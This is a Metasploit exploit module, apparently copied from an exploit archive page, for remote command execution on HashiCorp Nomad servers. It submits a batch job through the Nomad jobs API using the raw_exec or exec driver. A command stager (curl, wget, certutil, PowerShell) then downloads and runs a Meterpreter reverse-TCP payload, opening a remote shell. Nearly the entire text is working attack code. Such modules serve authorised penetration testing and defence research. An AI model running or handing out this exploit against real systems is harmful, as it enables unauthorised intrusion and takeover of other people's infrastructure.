Share
## https://sploitus.com/exploit?id=PACKETSTORM:163154
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'HashiCorp Nomad Remote Command Execution',  
'Description' => %q{  
Create a batch job on HashiCorp's Nomad service to spawn a shell. The default option  
is to use the 'raw_exec' driver, which runs with high privileges. Development servers  
and client's explicitly enabling the 'raw_exec' plugin can spawn these type of jobs.  
Regular 'exec' jobs can be created in a similar fashion at a lower privilege level.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Wyatt Dahlenburg (@wdahlenb)',  
],  
'References' =>  
[  
[ 'URL', 'https://www.nomadproject.io/' ]  
],  
'Targets' =>  
[  
[  
'Linux',  
{  
'Platform' => 'linux',  
'CmdStagerFlavor' => ['bourne', 'echo', 'printf', 'curl', 'wget'],  
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'WfsDelay' => 10 }  
}  
],  
[  
'Windows',  
{  
'Platform' => 'win',  
'CmdStagerFlavor' => [ 'psh_invokewebrequest', 'certutil', 'vbs' ],  
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'WfsDelay' => 10 }  
}  
]  
],  
'Payload' => {},  
'Privileged' => false,  
'DefaultTarget' => 0,  
'DisclosureDate' => '2021-05-17',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'SideEffects' => [REPEATABLE_SESSION]  
}  
)  
)  
register_options(  
[  
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),  
OptString.new('DATACENTER', [true, 'The datacenter to run against', 'dc1']),  
OptString.new('JOB_NAME', [true, 'Name of job to run (default random)', '']),  
OptString.new('JOB_TYPE', [true, 'Driver (raw_exec or exec)', 'raw_exec']),  
Opt::RPORT(4646),  
OptString.new('TARGETURI', [true, 'The base path', '/']),  
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false])  
]  
)  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/v1/agent/self'),  
'headers' => {  
'X-Nomad-Token' => datastore['ACL_TOKEN']  
}  
})  
  
unless res  
vprint_error 'Connection failed'  
return CheckCode::Unknown  
end  
  
unless res.code == 200  
vprint_error 'Unexpected reply'  
return CheckCode::Safe  
end  
  
agent_info = JSON.parse(res.body)  
  
if agent_info['config']['Plugins']  
agent_info['config']['Plugins'].each do |plugin|  
if plugin['Name'] == 'raw_exec' && plugin['Config']['enabled'] == true  
return CheckCode::Vulnerable  
end  
end  
end  
  
if agent_info['config']['Client']['Options']['driver.raw_exec.enable'] == 'true' || agent_info['config']['Client']['Options']['driver.raw_exec.enable'] == '1'  
return CheckCode::Vulnerable  
end  
  
if datastore['JOB_TYPE'] == 'raw_exec' && agent_info['config']['Client']['DisableRemoteExec'] == false  
print_status 'raw_exec doesn\'t appear to be supported. Try setting JOB_TYPE to exec instead.'  
return CheckCode::Appears  
elsif datastore['JOB_TYPE'] == 'exec' && agent_info['config']['Client']['DisableRemoteExec'] == false  
return CheckCode::Vulnerable  
end  
  
CheckCode::Safe  
rescue JSON::ParserError  
vprint_error 'Failed to parse JSON output.'  
return CheckCode::Unknown  
end  
  
def execute_command(cmd, _opts = {})  
uri = target_uri.path  
job_name = datastore['JOB_NAME'] == '' ? Rex::Text.rand_text_alpha(5..10) : datastore['JOB_NAME']  
print_status("Creating job '#{job_name}'")  
  
case target.name  
when /Linux/  
arg1 = 'sh'  
arg2 = '-c'  
when /Windows/  
arg1 = 'cmd.exe'  
arg2 = '/c'  
end  
  
res = send_request_cgi({  
'method' => 'PUT',  
'uri' => normalize_uri(uri, 'v1/jobs'),  
'headers' => {  
'X-Nomad-Token' => datastore['ACL_TOKEN']  
},  
'ctype' => 'application/json',  
'data' => {  
Job: {  
ID: job_name,  
Name: job_name,  
Type: 'batch',  
Datacenters: [datastore['DATACENTER']],  
TaskGroups: [  
{  
Name: job_name,  
Count: 1,  
Tasks: [  
{  
Name: job_name,  
Driver: datastore['JOB_TYPE'],  
User: '',  
Config: {  
command: arg1,  
args: [  
arg2,  
cmd.to_s  
]  
},  
Resources: {  
CPU: 500,  
MemoryMB: 256  
},  
LogConfig: {  
MaxFiles: 1,  
MaxFileSizeMB: 1  
}  
}  
],  
RestartPolicy: {  
Attempts: 0  
},  
EphemeralDisk: {  
SizeMB: 300  
}  
}  
]  
}  
}.to_json  
})  
unless res && res.code == 200  
fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Nomad API.')  
end  
  
job_info = JSON.parse(res.body)  
eval_id = job_info['EvalID']  
  
print_status("Job '#{job_name}' successfully created as '#{eval_id}'.")  
print_status("Waiting for job '#{job_name}' to trigger")  
rescue JSON::ParserError  
vprint_error 'Failed to parse JSON output.'  
end  
  
def exploit  
execute_cmdstager  
end  
end